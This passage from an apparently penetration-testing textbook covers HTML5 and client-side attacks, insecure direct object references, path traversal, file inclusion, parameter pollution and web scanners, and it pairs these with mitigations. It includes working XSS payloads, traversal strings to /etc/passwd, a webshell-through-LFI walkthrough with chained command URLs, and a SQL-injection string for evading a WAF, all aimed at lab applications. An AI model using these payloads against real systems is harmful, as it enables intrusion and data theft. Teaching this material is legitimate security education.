As mentioned in the first chapter, AJAX is a combination technology primarily including JavaScript, XML, and web services that enable asynchronous HTTP communication between client and server.

Crawling AJAX Applications

In AJAX-based applications, the links that crawlers can identify depend on the application's logical flow. In this section, we will discuss three tools for crawling AJAX applications:

• AJAX Crawling Tool
• Sprajax
• AJAX Spider OWASP ZAP

As with any automated task, crawling AJAX applications must be carefully configured, documented, and monitored, as they may invoke unexpected functions and trigger undesirable effects on the application, such as affecting database content.

AJAX Crawling Tool

The AJAX Crawling Tool (ACT) is used to enumerate AJAX applications. It can integrate with web application proxies. After crawling, links will be visible in the proxy interface, where you can test the application for vulnerabilities. To set up and use ACT, follow these instructions:

1. Download ACT from the following URL:

code.google.com/p/fuzzops-ng/downloads/list

2. After downloading ACT, launch it from the bash shell using the following command:

java -jar act.jar

This command will generate the output shown in the following screenshot.

Specify the target URL and set the proxy to link with your proxy. In this case, use the ZAP proxy running on localhost port 8010. You also need to specify the browser type. To start crawling, click the Crawl menu and select the Start Crawl option.

Once ACT begins "spidering" the application, new links will become visible in the proxy window.

Sprajax

Sprajax is a web application scanner specifically designed for applications built using AJAX frameworks. It is a black-box security scanner, meaning it does not require pre-configuration of target application details. It first identifies the AJAX framework being used, which helps create test cases with fewer false positives. Sprajax can also identify typical application vulnerabilities such as XSS and SQL injection. It first identifies functions, then fuzzes them by sending random values. Fuzzing is the process of sending multiple probes to a target and analyzing their behavior to detect when one of the probes triggers a vulnerability. The URL for the OWASP Sprajax Project is www.owasp.org/index.php/Category:OWASP_Sprajax_Project.

Beyond ACT and Sprajax, Burp Suite proxy and OWASP ZAP provide tools for crawling AJAX websites, but manually crawling the application is an important part of the reconnaissance process because AJAX-based applications may contain many hidden URLs that are only exposed after understanding the application's logic.

AJAX Spider - OWASP ZAP

AJAX Spider integrates with OWASP ZAP. It uses a simple approach, tracking all discoverable links through a browser, including those generated by client-side code, effectively crawling various applications.

AJAX Spider can be invoked from the Attack menu. Before the spider begins crawling, there are some parameters to configure. You can select the web browser used by the plugin. In the Options tab, you can also define the number of browser windows to open, crawl depth, and number of threads. Be careful when modifying these options as it may slow down crawling.

When crawling starts, a browser window opens and ZAP automatically browses the application while results are displayed in the AJAX Spider tab of the bottom pane.

Analyzing Client-Side Code and Storage

We have previously discussed situations where increased client-side code can lead to potential security problems. AJAX uses the XMLHttpRequest (XHR) object to send asynchronous requests to the server. These XHR objects are implemented using client-side JavaScript code.

There are several ways to learn more about client-side code. Viewing the source code by pressing the shortcut key Ctrl+U will display the underlying JavaScript that creates XHR objects. If the webpage and scripts are large, analyzing the application by viewing the source code will not be helpful and/or practical.

To understand the actual requests sent by scripts, you can use a web application proxy and intercept traffic, but the requests will arrive at the proxy after going through a series of processes in the client-side script code that may include validation, encoding, encryption, and other modifications, which will complicate your understanding of how the application works.

In this section, we will use the built-in developer tools of web browsers to analyze the behavior of client-side code and its impact on the content displayed on the page and what the server receives from the application. All major modern web browsers include tools for debugging client-side code in web applications, though some browsers may have more features. They all include the following basic components:

• Object inspector for page elements
• Console output for displaying errors, warnings, and log messages
• Script code debugger
• Network monitor for analyzing requests and responses
• Storage manager for managing cookies, cache, and HTML5 local storage

Most browsers follow the design of the original Firefox plugin Firebug. We will introduce Firefox's web development tools because it is included in Kali Linux.

Browser Developer Tools

In Firefox, as with all major browsers, developer tools can be activated using the F12 key; other key combinations such as Ctrl+Shift+I are also available in Firefox. The following figure shows the settings panel where you can select which tools to display along with other preferences such as color themes, available buttons, and key bindings.

Inspector Panel

The inspector panel displays HTML elements contained in the current page along with their attributes and style settings. You can modify these attributes and styles, and also delete or add elements.

Debugger Panel

The debugger panel is where you can gain insight into the actual JavaScript code. It includes a debugger where you can set breakpoints or step through scripts while analyzing the flow of client-side code and identifying vulnerable code. Each script can be viewed individually through a dropdown menu. The Watch side panel will display the values of variables during script execution. Set breakpoints are visible under the Breakpoints panel.

A recent addition to the debugger panel is the ability to format source code in a more readable way, as many JavaScript libraries are loaded as single-line text. In Firefox, this option is called Prettify Source and can be activated by right-clicking the code and selecting it from the context menu.

Console Panel

The console panel displays logs, errors, and warnings triggered by HTML elements and script code execution. It also includes a JavaScript command-line interpreter visible at the bottom of the window. It allows you to execute JavaScript code in the context of the current website.

Network Panel

The network panel displays all network traffic generated by the current webpage. It allows you to see where the page is communicating with and what requests it is making. It also includes a visual representation of the response and time required to load for each request.

If you select any request, you will see detailed information about headers and body, as well as the response and cookies.

Storage Panel

The storage panel is a recent addition to allow interaction with HTML5 storage options and cookies. Here, you can browse and edit cookies, web storage, IndexedDB, and cache storage.

DOM Panel

The DOM panel allows you to view and modify the values of all DOM elements on the current page.

HTML5 for Penetration Testing

The latest version of the HTML standard brings many new features that can help developers prevent security flaws and attacks in their applications. However, it also brings new challenges in the design and implementation of new features, which can cause applications to open new and unexpected opportunities to attackers due to the use of new technologies that are not yet fully understood.

Overall, penetration testing HTML5 applications is no different from testing any other web application. In this section, we will introduce some key features of HTML5, their impact on penetration testing, and some ways applications implementing these features can be attacked.

New XSS Vectors

Cross-Site Scripting (XSS) is a major issue in HTML5 applications because JavaScript is used to interact with all new features, from client-side storage to WebSockets to Web Messaging.

Additionally, HTML includes new elements and tags that can be used as XSS attack vectors.

New Elements

Video and audio are new elements that can be placed on web pages using <video> and <audio> tags, which can also be used in XSS attacks with the onerror attribute, just like <img>:

<video> <source onerror="javascript:alert(1)">
<video onerror="javascript:alert(1)"><source>
<audio onerror="javascript:alert(1)"><source>

New Attributes

Form elements have new attributes that can be used to execute JavaScript code:

<input autofocus onfocus=alert("XSS")>

The autofocus attribute specifies that the <input> element should automatically get focus when the page loads, and onfocus sets the event handler when the <input> element gets focus. Combining these two ensures script execution when the page loads:

<button form=form1 onformchange=alert("XSS")>X

When changes are made to the form with ID form1 (value modification), an event is triggered. The handler for this event is the XSS payload:

<form><button formaction="javascript:alert(1)">

The form action indicates where the form data will be sent. In this example, when the button is pressed, it sets the action to an XSS payload.

Local Storage and Client Databases

Before HTML5, the only mechanism allowing web applications to store information on the client side was cookies. There were some workarounds like Java and Adobe Flash, but they brought many security issues. HTML5 now has the ability to store structured and unstructured persistent data on the client side, including two new features: Web Storage and IndexedDB.

As a penetration tester, you need to be aware of any use of client-side storage by the application. If the stored information is sensitive, make sure it is properly protected and encrypted. Also test whether the stored information is further used in the application and whether it can be tampered with to generate XSS scenarios. Finally, ensure such information is properly validated at input and sanitized at output.

Web Storage

Web Storage is how HTML5 allows applications to store unstructured information on the client side, in addition to cookies. Web Storage can be of two types: localStorage (no expiration time) and sessionStorage (will be deleted at the end of the session). Web Storage is managed by JavaScript objects window.localStorage and window.sessionStorage.

The following screenshot shows how to view Web Storage using the browser's developer tools, with localStorage in this example. As shown in the screenshot, information is stored using key-value pairs.

IndexedDB

For structured storage (information organized in tables), HTML5 provides IndexedDB.

Before IndexedDB, Web SQL Database was also used as part of HTML5 but was deprecated in 2010.

The following screenshot shows an example of an indexed database stored by a web application, which can be viewed using the browser's developer tools.

Web Messaging

Web Messaging allows communication between two documents that do not need the DOM and can be used across domains (sometimes called cross-domain messaging). To receive messages, the application needs to set an event handler to process incoming messages. The event triggered when receiving a message has the following properties:

• data: message data
• origin: sender's domain name and port
• lastEventId: unique ID of the current message event
• source: reference to the window of the document that raised the message
• ports: an array containing any MessagePort objects sent with the message

origin value is not checked. This means that any remote server will be able to send messages to that application. This constitutes a security issue, as an attacker can set up a server that sends messages to the application:

var messageEventHandler = function(event){ 
    alert(event.data); 
} 

The following example shows an event handler that performs proper origin verification:

window.addEventListener('message', messageEventHandler,false); 
var messageEventHandler = function(event){ 
    if (event.origin == 'https://trusted.domain.com') 
    { 
        alert(event.data); 
    } 
} 
window.addEventListener('message', messageEventHandler,false); 

WebSockets

Perhaps the most radical new addition in HTML5 is the introduction of WebSockets, which are persistent bidirectional communication between client and server based on the HTTP protocol, which is a stateless protocol.

As mentioned in the first chapter, Penetration Testing and Web Application Introduction, WebSockets communication begins with a handshake between client and server. In the following screenshot, taken from Damn Vulnerable Web Sockets (github.com/snoopysecurity/dvws), you can see the basic JavaScript implementation of WebSockets.

This code starts a WebSockets connection immediately after the HTML document loads. Event handlers are then set for when the connection is established, when a message arrives, and when the connection closes or an error occurs. When the page loads and requests to start the connection, it looks like this.

When the connection is accepted, the server will respond as follows.

Note that the Sec-WebSocket-Key in the request and Sec-WebSocket-Accept in the response are only used for handshaking and starting the connection. They are not authentication or authorization controls. This is something penetration testers must note. WebSockets themselves do not provide any authentication or authorization controls; this needs to be done at the application level.

Additionally, the connection implemented in the previous example is not encrypted. This means it can be sniffed and/or intercepted through man-in-the-middle attacks. The next screenshot shows traffic captured using Wireshark showing the exchange between client and server.

The first two packets are WebSockets handshakes. After that, message exchange begins. In this case, the client sends a name and the server replies Hello <NAME> :) How are you?. According to the protocol definition (RFC 6455, www.rfc-base.org/txt/rfc-6455.txt), data sent from client to server should be masked, and the server must close the connection if it receives an unmasked message. Conversely, messages sent from server to client are not masked, and the client will close the connection if it receives masked data. Masking should not be considered a security measure because the masking key is included in the packet frame.

Intercepting and Modifying WebSockets

Web proxies like Burp Suite and OWASP ZAP can record WebSockets communication. They are also capable of intercepting and allowing addition of incoming and outgoing messages. OWASP ZAP also allows resending messages and using the Fuzzer tool to identify vulnerabilities.

In Burp Suite's proxy, there is a tab showing WebSockets communication history. The regular intercept options in the proxy can be used to intercept and modify incoming and outgoing messages. It does not include functionality to resend messages using Repeater. The next screenshot shows a message intercepted in Burp Suite.

OWASP ZAP also has a dedicated WebSockets history tab. In this tab, breakpoints can be set (similar to Burp Suite's Intercept) by right-clicking any message and selecting Break.... A new dialog will pop up where you can set breakpoint parameters and conditions.

When right-clicking a message, there is also a Resend option that opens the selected message for modification and resending. This applies to both incoming and outgoing traffic. So when resending an outgoing message, OWASP ZAP will pass the message to the browser. The next screenshot shows the resend dialog.

If you right-click the text in Resend, an option appears to fuzz that message.

The next screenshot shows how to add fuzz strings to the default location. Here, we only added a small set of XSS tests.

When we run the Fuzzer, the corresponding tab opens and shows successful results (that is, results getting responses similar to vulnerable applications).

Other Relevant HTML5 Features

As mentioned earlier, HTML5 introduces many features in different areas that may affect application security. In this section, we will briefly introduce other features provided by HTML5 that may also impact where and how we look for security vulnerabilities.

Cross-Origin Resource Sharing (CORS)

When enabled on the server, the header Access-Control-Allow-Origin is sent in requests. This header tells the client that the server allows XMLHttpRequest requests from sources other than the origin (domain name and port) hosting the application. Having the following header allows requests from any source, which enables attackers to use JavaScript to bypass CSRF protection:

Access-Control-Allow-Origin: *  

Geolocation

Modern web browsers can obtain geolocation data from the devices they are installed on, whether Wi-Fi networks in computers or GPS and cellular information in phones. Applications using HTML5 that are vulnerable to XSS may expose their users' location data.

Web Workers

Web Workers are JavaScript code running in the background that cannot access the DOM of the page that called them. Besides being able to run local tasks on the client, they can also make in-domain and CORS requests using the XMLHttpRequest object.

Today, more and more web applications use JavaScript code to exploit client-side processing power for cryptocurrency mining. Most of the time, this is because these applications have been compromised. If the application is vulnerable to XSS, Web Workers provide a unique opportunity for attackers, especially if it uses user input to send messages to Web Workers or create them.

AppSec Labs created a toolkit, HTML5 Attack Framework (appsec-labs.com/html5/), for testing specific features of HTML5 applications, including:

• Clickjacking
• CORS
• HTML5 DoS
• Web Messaging
• Storage Dumpers

Bypassing Client Controls

With modern web applications' capabilities on the client side, it is sometimes easier for developers to delegate checks and controls to client-side code executed by the browser, freeing the server from additional processing. At first, this may seem like a good idea; that is, let the client handle all data presentation, user input validation, formatting, and use the server only for processing business logic. However, when the client is a web browser, it is a versatile tool used for more than one application, and all communication can be tunneled through a proxy that can then be tampered with and controlled by the user. Developers need to strengthen all security-related tasks on the server side, such as authentication, authorization, validation, and integrity checks. As a penetration tester, you will find that many applications are not consistent enough in this regard.

A very common scenario is when applications show or hide GUI elements and/or data based on user profiles and permission levels. Many times, all these elements and data have already been retrieved from the server and are just disabled or hidden using style attributes in HTML code. Attackers or penetration testers can use the inspector option in the browser's developer tools to change these attributes and access hidden elements.

Let us walk through an example using Mutillidae II's Client-Side Controls Challenge (Others | Client "Security" Controls). This is a form with many different types of input fields, some of which are disabled, hidden, or move when you try to write in them. If you only fill in some of the fields and click submit, you will receive an error. You need to fill in all fields.

Press the F12 key to open developer tools, or right-click one of the disabled fields and select Inspect Element. The latter also opens developer tools, but it will also position you in the specific area in the inspector where your selected element is located.

For example, you can see that the disabled text box has an attribute disabled with value 1. Someone might think changing the value to 0 should enable it, but that is not the case. Any value will make the browser display the input as disabled. So double-click the attribute name and delete it. Now you can add text to it.

You can continue changing the attributes of all fields to fill them in. You will also find a password field. If you inspect it, you will see that even though only dots are displayed on the page, it actually contains plaintext value, which could be an actual password in a real application.

Finally, when you fill in all fields and click submit again, a warning pops up saying some fields have incorrect format.

This message can be traced by going to the debugger panel in developer tools and searching for partial text across all files by entering an exclamation mark ! in the search box. The function in index.php performs validation operations.

Note that this function validates input using regular expressions, and these regular expressions are formed to match only single-character strings. Here, you can do two things: you can set a breakpoint after the regular expression is defined and change its value at runtime, and/or you can fill all fields with values matching these checks so the request can be sent, then use the proxy to intercept the request and edit it in the proxy. We will do the latter now.

You can enter any value in any field. You can even add or remove fields if you think it is relevant to your testing.

So using the browser's developer tools, you can easily enable, disable, show, or hide any element in a web page. It also allows you to monitor, analyze, and control the execution flow of JavaScript code. Even if there is a time-consuming and inefficient complex validation process, you can also adjust the input and use a proxy to modify it after the request leaves the browser.

Mitigating AJAX, HTML5, and Client-Side Vulnerabilities

The key to preventing client-side vulnerabilities, or at least minimizing their impact, is to never trust external information, whether from client applications, web services, or server input. This information must always be validated before processing, and all data displayed to users must be properly sanitized and formatted before being presented in any format (such as HTML, CSV, JSON, and XML). Validating on the client side is a good practice but cannot replace server-side validation.

The same applies to authentication and authorization checks. Some measures can be taken to reduce the number of invalid requests reaching the server, but server-side code must verify that incoming requests are indeed valid and allowed to proceed for the user session that sent such requests.

For AJAX and HTML5, properly configuring the server and parameters such as cross-origin, content-type headers, and cookie flags will help prevent many attacks from causing damage.

Summary

In this chapter, you learned how to crawl AJAX applications. We then continued reviewing the impact of HTML5 on penetration testers, including new features and new attack vectors. Then we reviewed some techniques for bypassing client-side implemented security controls. In the last section, we reviewed some key considerations to prevent AJAX, HTML5, and client-side vulnerabilities.

In the next chapter, you will learn more about common security vulnerabilities in web applications.

Other Common Security Flaws in Web Applications

So far in this book, we have briefly covered most issues surrounding web application security and penetration testing. However, due to the nature of web applications—they represent such a diverse mix of technologies and methodologies that do not always work well together—the number of specific vulnerabilities and different types of attacks against these applications is so large and rapidly changing that no single book can cover everything; therefore, some things must be omitted.

In this chapter, we will cover a set of common vulnerabilities that often exist in web applications and sometimes escape the attention of developers and security testers, not because they are unknown (in fact, some are in the OWASP Top 10), but because their impact is sometimes underestimated in real-world applications, or because vulnerabilities like SQL injection and XSS are more significant due to their direct impact on user information. The vulnerabilities covered in this chapter are:

• Insecure Direct Object Reference
• File Inclusion Vulnerabilities
• HTTP Parameter Pollution
• Information Disclosure

Insecure Direct Object Reference

Insecure Direct Object Reference vulnerabilities occur when an application requests a resource from the server (which can be a file, function, directory, or database record) by its name or other identifier and allows users to directly tamper with that identifier to request other resources.

Let us use Mutillidae II as an example (navigate to OWASP Top 10 2013 | A4 - Insecure Direct Object Reference | Source Code Viewer). This exercise involves a source code viewer that selects a filename from a dropdown box and displays its content in the viewer.

If you examine the request in Burp Suite or any proxy, you will find it has a phpfile parameter containing the filename to view.

You can try intercepting that request and changing the filename to one not in the list but that you know exists on the server, such as passwords/accounts.txt (you can search the internet for default configuration files or related code installed on web servers and some applications).

Since the application directly references the filename, you can change the parameter to make the application display files not intended to be viewed.

Direct Object References in Web Services

Web services, especially REST services, often use identifiers in the URL to reference database elements. If these identifiers are sequential and authorization checks are not properly executed, enumerating all elements is possible simply by incrementing or decrementing the identifier.

For example, suppose we log into a banking application and then call the API to request our profile. This request looks similar to:

https://bankingexample.com/client/234752879  

Information is returned in JSON format, formatted and displayed on the client's browser:

{ 
  "id": "234752879", 
  "client_name": "John", 
  "client_surname": "Doe", 
  "accounts": [{"acc_number":"123456789","balance":1000}, 
   {"acc_number":"123456780","balance":10000}] 
} 

If we increment the client ID in the request and the server does not properly check authorization permissions, we might obtain another customer's information from the bank. This could be a significant issue because this application handles such sensitive data. Web services should only allow access after proper authentication and authorization checks must always be performed on the server side; otherwise, there is a risk of someone using direct object references to access sensitive data. Insecure Direct Object Reference is a major concern in web services and should be placed at the forefront when penetration testing RESTful web services.

Path Traversal

If an application uses parameters provided by the client to construct file paths, and proper input validation and access permission checks are not performed, attackers can change the filename and/or prepend a path to the filename to retrieve different files. This is called path traversal or directory traversal. Most web servers have been locked down to prevent this type of attack, but applications still need to validate input when directly referencing files.

Users should be restricted to only browse the web root and not access anything above the web root. Malicious users will look for direct links to files outside the web root, with the most attractive being the operating system's root directory.

Basic path traversal attacks use the ../ sequence to modify resource requests through the URL. In operating systems, the ../ expression is used to move up one directory. Attackers must guess the number of directories to move up and beyond the web root, which can be easily done through trial and error. If an attacker wants to move up three directories, they must use ../../../.

Let us consider an example using DVWA: we will use the "File Inclusion" exercise to demonstrate path traversal. When the page loads, you will notice there is a page parameter in the URL with value include.php, which clearly loads files by name.

If you visit that URL, you will find the page loading the include.php file is two levels below the application's root (/vulnerabilities/fi/) and three levels below the server's root (dvwa/vulnerabilities/fi/). If you replace the filename with ../../index.php, you will go up two levels and then display DVWA's homepage.

You can try escaping the web server root to access files in the operating system. In GNU/Linux, by default, the Apache web server root is located at /var/www/html. If you add three more levels to the previous input, you will reference the operating system's root directory. By setting the page parameter to ../../../../../etc/passwd, you will be able to read the file containing user information on the underlying operating system.

On Unix-based systems, the /etc/passwd path is a sure bet for testing path traversal because it always exists and is readable by everyone. If you are testing a Windows server, you can try:

../../../../../autoexec.bat
../../../../../boot.ini
../../../../../windows/win.ini

File Inclusion Vulnerabilities

In web applications, developers can include code stored on remote servers or code stored in files on the local server. Referencing files not in the web root is primarily used to incorporate common code into files that can later be referenced by the main application.

When an application uses input parameters to determine the name of the file to include, it becomes vulnerable to file inclusion attacks; therefore, users can set the name of a malicious file previously uploaded to the server (local file inclusion) or a file on another server (remote file inclusion).

Local File Inclusion

In Local File Inclusion (LFI) vulnerabilities, local files on the server are accessed by the include function without proper validation; that is, files containing server code are included and their code is executed in the page. This is a very practical feature for developers because they can reuse code and optimize resources. The problem appears when user-provided parameters are used to select which file to include, and when validation is inadequate or absent. Many people confuse LFI flaws with path traversal flaws. Although LFI flaws often exhibit the same characteristics as path traversal flaws, the way applications treat these two flaws is different. For path traversal flaws, the application only reads and displays the file content. For LFI flaws, the application does not display the content but includes the file as part of the interpreted code (the web page constituting the application) and executes it.

In the path traversal vulnerability explained earlier, we used DVWA's File Inclusion exercise, and when we used ../../index.php as a parameter, the index.php page was interpreted as code executing an LFI. However, including files that already exist on the server and serve legitimate purposes for the application usually does not constitute a security risk unless unprivileged users can include an admin page. How do you, as a penetration tester, prove there is a security problem that allows including local files when all pages on the server are harmless? You need to upload a malicious file and use it to further exploit the LFI.

The malicious file we will upload is a webshell, which is a script running on the server that allows us to execute operating system commands remotely. Kali Linux includes a collection of webshells in the /usr/share/webshells directory. In this exercise, we will use simple-backdoor.php (/usr/share/webshells/php/simple-backdoor.php).

Go to DVWA's File Upload exercise and upload the file. Note the relative path shown when the file is uploaded.

If the upload script is located at /dvwa/vulnerabilities/upload/, relative to the web server root, according to the relative path shown, the file should be uploaded to /dvwa/hackable/uploads/simple-backdoor.php. Now return to the File Inclusion exercise and change the page parameter to ../../hackable/uploads/simple-backdoor.php.

Well, we did not get a stunning result. Let us check the webshell's code.

You need to pass a parameter with the command to execute to the webshell, but in file inclusion, the included file's code is integrated with the file that includes it, so you cannot just add ?cmd=command as instructed. Instead, you need to add a cmd parameter as if sending it to the including page:

http://10.7.7.5/dvwa/vulnerabilities/fi/?page=../../hackable/uploads/simple-backdoor.php&cmd=uname+-a

You can also use ; (semicolon) as a separator to chain multiple commands in a single call:

http://10.7.7.5/dvwa/vulnerabilities/fi/?page=../../hackable/uploads/simple-backdoor.php&cmd=uname+-a;whoami;/sbin/ifconfig

Remote File Inclusion

Remote File Inclusion (RFI) is an attack technique that exploits the application's mechanism of allowing inclusion of files from other servers. This can cause the application to be tricked into running scripts on a remote server controlled by the attacker.

RFI works exactly like LFI, with the only difference being using a full URL instead of a relative path to the file:

http://vulnerable_website.com/preview.php?script=http://example.com/temp  

Modern web servers disable the ability to include files (especially external files) by default. However, sometimes the requirements of the application or business cause developers to enable this feature. Over time, this happens less frequently.

HTTP Parameter Pollution

HTTP allows multiple parameters with the same name in GET and POST methods. The HTTP standard neither interprets nor specifies how to interpret multiple input parameters with the same name—whether to accept the last occurrence or the first occurrence of the variable, or treat the variable as an array.

For example, the following POST request is standard-compliant, even though the item_id variable has values num1 and num2:

item_id=num1&second_parameter=3&item_id=num2  

However, different web servers and development frameworks handle multiple parameters differently according to the HTTP protocol standard. The unknown process of handling multiple parameters often leads to security issues. This unexpected behavior is called HTTP Parameter Pollution. The following table shows HTTP duplicate parameter behavior in major web servers:

**Framework/Web Server**	**Result Action**	**Example**
ASP.NET/IIS	All occurrences of parameters concatenated with commas	item_id=num1,num2
PHP/Apache	Last occurrence	item_id=num2
JSP/Tomcat	First occurrence	item_id=num1
IBM HTTP Server	First occurrence	item_id=num1
Python	All occurrences combined into a list (array)	item_id=['num1','num2']
Perl/Apache	First occurrence	item_id=num1

Imagine a situation where a Tomcat server is behind a Web Application Firewall (WAF) based on Apache and PHP, and the attacker sends the following parameter list in the request:

item_id=num1'+or+'1'='1&second_parameter=3&item_id=num2  

The WAF will take the last occurrence of the parameter and determine it is a legitimate value, while the web server will take the first occurrence, and if the application is vulnerable to SQL injection, the attack will succeed, bypassing the protection provided by the WAF.

Information Disclosure

The purpose of using web applications is to allow users to access information and perform tasks. However, not every user should be able to access all data, and some information about the application, operating system, and users can be exploited by attackers to gain knowledge and eventually access authenticated features of the application.

To make user interaction with the application more friendly, developers sometimes may release too much information. Additionally, in their default installations, web development frameworks are pre-configured to display and highlight their features rather then for security. This is why many times these default configuration options remain active until the framework's official release, exposing information and features that may constitute security risks.

Let us look at some examples of information disclosure that may pose security risks. In the following screenshot, you can see a page called phpinfo.php. This page is sometimes installed by default on Apache/PHP servers and provides detailed information about the underlying operating system, active modules and configuration of the web server, and much more.

You will also find cases where descriptive comments are used in client-side source code. The following is an extreme example. In real-world applications, you may be able to find detailed information about the application's logic and functionality that is simply commented out.

In the next screenshot, you can see a fairly common problem in web applications. This problem is often underestimated by developers, security personnel, and risk analysts. It involves an overly verbose error message showing debug traces, filenames and line numbers of errors, and more. This may be enough for an attacker to identify the operating system, web server version, development framework, database version, and file structure, and gather more information.

In the last example, authentication tokens are stored in HTML5 session storage. Remember that this object can be accessed through JavaScript, which means if an XSS vulnerability exists, an attacker will be able to hijack the user's session.

Mitigation

Now we will discuss how to prevent or mitigate the vulnerabilities explained in the previous sections. In short, we will do the following:

• Follow the principle of least privilege
• Validate all input
• Check/harden server configuration

Insecure Direct Object Reference

Always prefer using indirect references. Use non-sequential numeric identifiers to reference allowed object tables rather than allowing users to directly use object names.

Proper input validation and sanitization of data received from the browser will prevent path traversal attacks. Developers of applications should be careful when accepting user input when making filesystem calls. If possible, avoid this. Chroot jail, which involves isolating the application's root directory from the rest of the operating system, is a good mitigation technique but may be difficult to implement.

For other types of direct object reference, the principle of least privilege must be followed. Users should only access information they need for their normal operations, and authorization verification must be performed on every request made by the user. When requesting information that their configuration file or role should not view or access, they should receive an error message or unauthorized response.

WAFs can also block such attacks, but they should be used together with other mitigation techniques.

File Inclusion Attacks

At the design level, applications should minimize the impact of user input on application flow. If an application relies on user input for file inclusion, indirect references should be chosen over direct references. For example, the client submits an object ID, which is then searched on the server side in a directory containing a list of valid files. Code reviews should be performed to find file-including functions and checks to analyze whether proper input validation is performed on data received from users to sanitize the data.

HTTP Parameter Pollution

In this vulnerability, the application does not perform proper input validation, leading to overwriting hardcoded values. Whitelisting of expected parameters and their values should be included in the application logic, and user input should be sanitized. Filtering should be handled by WAFs capable of tracking multiple occurrences of variables and that have been adjusted to understand this flaw.

Information Disclosure

Server configuration must be thoroughly reviewed before being released to production. Any excess files not essential to the application's functionality should be removed, along with all server response headers that may leak relevant information, such as:

• Server
• X-Powered-By
• X-AspNet-Version
• Version

Summary

In this chapter, we reviewed some vulnerabilities in web applications that may escape XSS, SQL injection, and other common vulnerabilities. As a penetration tester, you need to know how to identify, exploit, and mitigate vulnerabilities so you can find them and provide appropriate recommendations to clients.

We started this chapter by introducing the broad concept of insecure direct object reference and some of its variants. We then moved to file inclusion vulnerabilities, which are a special type of insecure direct object reference but represent a classification category on their own. We performed an exercise on LFI and explained the remote version.

After that, we reviewed how different servers handle duplicate parameters in requests and how attackers exploit this through HTTP parameter pollution.

Next, we looked at information disclosure and reviewed examples showing how applications present too much information to users and how malicious agents can use this information to gather information or further prepare for attacks.

Finally, we also introduced some mitigation suggestions for the previous vulnerabilities. Most mitigation techniques depend on proper server configuration and strict input validation in application code.

So far, we have been doing all testing and exploitation manually, which is the best way to conduct security testing and learning. However, there are cases where we need to cover large areas in a short time, or clients require the use of some scanning tools, or we simply do not want to miss any low-hanging vulnerabilities; in the next chapter, we will learn about automated vulnerability scanners and fuzzing tools included in Kali Linux that will help us deal with these situations.

Using Automated Scanners on Web Applications

So far, you have learned how to find and exploit vulnerabilities in web applications by testing parameters or requests one by one. Although this is best method for discovering security vulnerabilities, especially those related to application internal information flow or business logic and authorization controls, in professional penetration testing, some projects cannot be fully resolved through manual testing due to time, scope, or quantity reasons, requiring automated tools to help accelerate the vulnerability discovery process.

In this chapter, we will discuss aspects to consider when using automated vulnerability scanners on web applications. You will also learn about the scanners and fuzzing tools included in Kali Linux and how to use them.

Considerations Before Using Automated Scanning Tools

Web application vulnerability scanners operate slightly differently from other types of scanners like OpenVAS or Nessus. The latter typically connects to ports on a host, obtains the type and version of services running on those ports, and then compares this information against their vulnerability database. In contrast, web application scanners identify input parameters in application pages and submit a large number of requests with different payloads on each parameter.

Operating this way, automated scanning will almost certainly record information in databases, generate activity logs, modify existing information, and may even erase databases if the application has delete or restore functions.

Here are key factors penetration testers must consider before using web vulnerability scanners as a testing method:

• Check scope and project documentation to ensure automated tools are allowed.
• Test in an environment specifically set up for this purpose (QA, development, or testing). Only use production environments when the client explicitly requests it and make them aware of the inherent risk of data corruption.
• Update the tool's plugins and modules to keep results synchronized with the latest vulnerability disclosures and techniques.
• Check scanner tool parameters and scope before launching the scan.
• Configure the tool to the highest level of logging. Logs will be very useful when any event occurs and for validating results and reporting.
• Do not leave the scanner unattended. You do not need to stare at the progress bar, but should constantly check the scanner's running status and the state of the tested server.
• Do not rely on a single tool—sometimes different tools produce different results for the same type of testing. When one tool misses some vulnerabilities, another might find them but miss something else. Therefore, if you are using automated scanning tools within your testing scope, use multiple tools and consider using commercial products like Burp Suite Professional or Acunetix.

Web Application Vulnerability Scanners in Kali Linux

Kali Linux includes multiple tools for automated web application vulnerability scanning. We have already examined some of these, particularly those focusing on specific vulnerabilities like sqlmap for SQL injection or XSSer for cross-site scripting (XSS).

Next, we will introduce the basic usage of some more general web vulnerability scanners listed here:

• Nikto
• Skipfish
• Wapiti
• OWASP-ZAP

Nikto

A long-time classic, Nikto is perhaps the most widely used and well-known web vulnerability scanner in the world. Although its scanning is not very in-depth and its findings are somewhat generic (mainly related to outdated software versions, vulnerable components used, or configuration errors detected through analyzing response headers), Nikto is still a very useful tool because of its extensive test set and low destructive nature.

Nikto is a command-line tool. In the following screenshot, the nikto command is used with the -h parameter to specify the host or URL to scan and -o to specify the output file. The file extension determines the report format. Other common formats are .csv (comma-separated file) and .txt (text file).

For more details on using nikto and other options, run it with the -H option to get complete help.

Now let us see what the report from a scan looks like.

According to these two screenshots, Nikto has identified some issues with server version and response headers. Specifically, an IP address leaks some missing protection headers like X-Frame-Options and X-XSS-Protection, and the session cookie does not contain the HttpOnly flag. This means it can be retrieved through script code.

Skipfish

Skipfish is a very fast scanner that can help identify the following vulnerabilities:

• Cross-site scripting attacks
• SQL injection
• Command injection
• XML/XPath injection
• Directory traversal and file inclusion
• Directory listing

According to its Google Code page (code.google.com/p/skipfish/):

Skipfish is an active web application security reconnaissance tool. It prepares an interactive site map for the target site through recursive crawling and dictionary-based probing. This map is then annotated with output from active (but hopefully non-destructive) security checks. The final report generated by the tool is intended to serve as a foundation for professional web application security assessments.

Using Skipfish is very simple. You only need to provide the URL to scan as a parameter. Optionally, you can add an output file and fine-tune the scan. To run Skipfish on the test VM and generate an HTML report, use the following command:

skipfish -o WebPentest/skipfish_result -I WackoPicko http://10.7.7.5/WackoPicko/  

The -o option indicates the directory where the report is stored. The -I option tells Skipfish to only scan URLs containing the string WackoPicko, excluding other applications in the VM. The last parameter is the URL where you want to start the scan.

When the command is started, an information screen appears. You can press any key or wait 60 seconds to start the scan. Once scanning starts, the following status screen is displayed.

When the scan completes, a summary screen is displayed as follows.

Additionally, once the scan completes, the report is ready in the specified folder. The following screenshot shows what a Skipfish report looks like.

The report shows vulnerabilities identified by Skipfish in order from high risk (red dots) to low risk (orange dots). For example, Skipfish identified a SQL injection vulnerability in the login page, with the injection vector being a query, rated as high risk by the scanner. It also identified a directory traversal or file inclusion and a possible XSS vulnerability, rated as medium risk, etc.

Wapiti

Wapiti is an actively maintained command-line-based web vulnerability scanner. Wapiti 3.0 was released in January 2018 (wapiti.sourceforge.net/); however, Kali Linux still includes the previous version (2.3.0). According to the Wapiti website, the tool includes modules for detecting the following vulnerabilities:

• File disclosure (local and remote inclusion/reference, fopen, readfile…)
• Database injection (PHP/JSP/ASP SQL injection and XPath injection)
